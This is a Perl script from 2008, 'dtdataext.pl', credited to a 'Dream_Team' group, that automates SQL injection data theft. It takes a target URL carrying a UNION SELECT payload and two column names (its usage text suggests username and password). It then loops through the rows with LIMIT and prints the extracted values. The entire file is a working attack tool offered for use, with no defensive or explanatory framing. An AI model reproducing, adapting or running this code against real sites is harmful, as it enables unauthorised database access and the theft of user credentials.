./c0de/perl/dtdataext.txt

0.
1.
2.
3.
4.
5.
6.
7.
8.
9.
10.
11.
12.
13.
14.
15.
16.
17.
18.
19.
20.
21.
22.
23.
24.
25.
26.
27.
28.
29.
30.
31.
32.
33.
34.
35.
36.
37.
38.
39.
40.
41.
42.
43.
44.
45.
46.
47.
48.
49.
50.
51.
52.
53.
54.
55.
##############################################################################
#----------------------------------------------------------------------------#
##############################################################################
# * VERSION: v.1
# * LICENSE: GNU General Public License
# * FILENAME: dtdataext.pl
# * CONTACT: [email protected] (French / English )
# * THNX : - F. & D. Members of Dream_Team (t-underground-n)
# - Darkc0de Forum Team
##############################################################################
#----------------------------------------------------------------------------#
##############################################################################
use LWP::UserAgent;
use IO::Socket;
system("clear");
print "##########################################################\n";
print "# dtdataext.pl- SQL Data extractor #\n";
print "# By LetsGorun [Dream_Team] v1~2008#\n";
print "##########################################################\n\n";
 
if (@ARGV < 3)
{
print " Usage : \n";
print " dtdataext.pl <URl> <column1> <column2>\n";
print "\n";
print " <URL> - payload http://www.site.com/news.php?id=-1+union+select+1,LETSGO,3+from+users\n";
print " <column1> First Column exp: username \n";
print " <column2> Second Column exp: password \n";
print "########################################################\n\n";
exit();
}
 
$url = $ARGV[0];
$c1 = $ARGV[1];
$c2 = $ARGV[2];
$b = LWP::UserAgent->new() or die "Could not initialize browser\n";
$b->agent('Mozilla/4.0');
$url =~ s/LETSGO/concat(char(58),char(58),char(58),$c1,char(58),$c2,char(58),char(58),char(58))/g;
$i=0;$val=0;
print "[-] Starting Extraction Data...\n";
while ($val!=1)
{
$urlnew = $url."+limit+$i,1/*";
$res = $b->request(HTTP::Request->new(GET=>$urlnew));
$answer = $res->content;
if ($answer =~ /:::(\w.*?):::/){
print "\n\t[$i] $1";
}else { $val=1; }
$i++;
}
print "\n\n";
print "[-] End.\n\n";
print "##########################################################\n";
print "#----------------- By Dream Team ------------------------#\n";
print "##########################################################\n\n\n";

Back